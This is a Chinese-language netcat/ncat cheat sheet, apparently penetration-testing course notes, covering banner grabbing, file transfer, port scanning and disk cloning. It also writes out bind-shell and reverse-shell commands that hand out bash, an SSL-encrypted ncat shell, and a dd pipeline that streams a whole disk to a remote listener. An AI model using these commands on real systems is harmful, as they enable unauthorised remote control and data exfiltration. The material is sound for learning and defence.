NetCat——NC
- 网络工具中的瑞士军刀
- 不同系统 / 平台的nc参数功能不尽相同
功能
- 侦听模式 / 传输模式
- telnet / 获取banner信息
- 传输文本信息
- 传输文件/目录
- 加密传输⽂文件
- 远程控制/⽊马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
TELNET / BANNER
# 探测端口
# -v 显示详细信息
# -n 输入IP地址,不经过DNS解析
# 25 smtp服务器
# 110 pop3服务器
nc -nv 目标主机IP地址 端口
传输文本信息
# kali服务端
# 侦听4444端口
nc -lp 4444
# kali客户端
# 连接4444端口
nc -nv 192.168.56.101 4444
# 任何一方断开连接,服务均会断开
# 远程电子取证
# -q 1 延迟1秒,自动断开连接
在取证方电脑上输入,结果不会在取证方电脑上显示出来
ls -l | nc -nv 192.168.56.101 4444 -q 1
# 查看已打开的文件信息
lsof | nc -nv 192.168.56.101 4444 -q 1
# 服务端将收到的信息保存到文件中
nc -l -p 4444 > file_save
传输文件/目录
# 传输文件 (发送端也可以是接收端)
服务端
nc -lp 4444 > 1.mp4
客户端
nc -nv 192.168.56.101 4444 < 1.mp4 -q 1
或者
服务端
nc -q 1 -lp 4444 < a.mp4
客户端
nc -nv 192.168.56.101 4444 > 2.mp4
# 传输目录
服务端
tar -cvf - music/ | nc -lp 4444 -q 1
客户端
nc -nv 192.168.56.101 4444 | tar -xvf -
# 加密传文件
apt-get install mcrypt -y
服务端
# 解密
nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
# 输入一次密钥
客户端
# 加密
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 192.168.56.101 4444 -q 1
# 输入两次密钥
流媒体服务
服务端
cat 1.mp4 | nc -lp 4444
客户端
nc -nv 192.168.56.101 4444 | mplayer -vo xll -cache 3000 -
端口扫描
# 扫描器不可能都能扫出来,需要结合多款扫描器
# -z 扫描模式,不进行输入输出
# nc默认使用tcp模式,探测到的都是tcp端口
nc -nvz 192.168.56.101 1-65535
# 探测udp端口
nc -vnzu 192.168.56.101 1-1024
远程克隆硬盘
# 对硬盘块进行克隆
# 即使文件已删除,但未被覆盖,依旧可以找到
服务端
nc -lp 4444 | dd of=/dev/sda
客户端(被取证方)
dd if=/dev/sda | nc -nv 192.168.56.101 4444 -q 1
远程控制
# 注意:Windows用户把bash改成cmd
正向远程控制
服务端(被控)
nc -lp 4444 -c bash
客户端(控制)
nc -nv 192.168.56.101 4444
反向远程控制
服务端(控制)
nc -lp 4444
客户端(被控)
nc -nv 192.168.56.101 -c bash
NCAT
# Nc明文传输,缺少加密和身份验证的能力
# Nc加强版,包含于nmap工具包中
# Nc可以用的功能,Ncat都可以用
# 安装Ncat
apt-get install ncat -y
# 加密远程控制
# --allow 只允许某个IP连接
服务端(被控)
ncat -c bash -allow 192.168.56.103 -vnl 4444 --ssl
客户端(控制)
ncat -nv 192.168.56.101 4444 --ssl
# 每次监听时,ssl指纹信息均会改变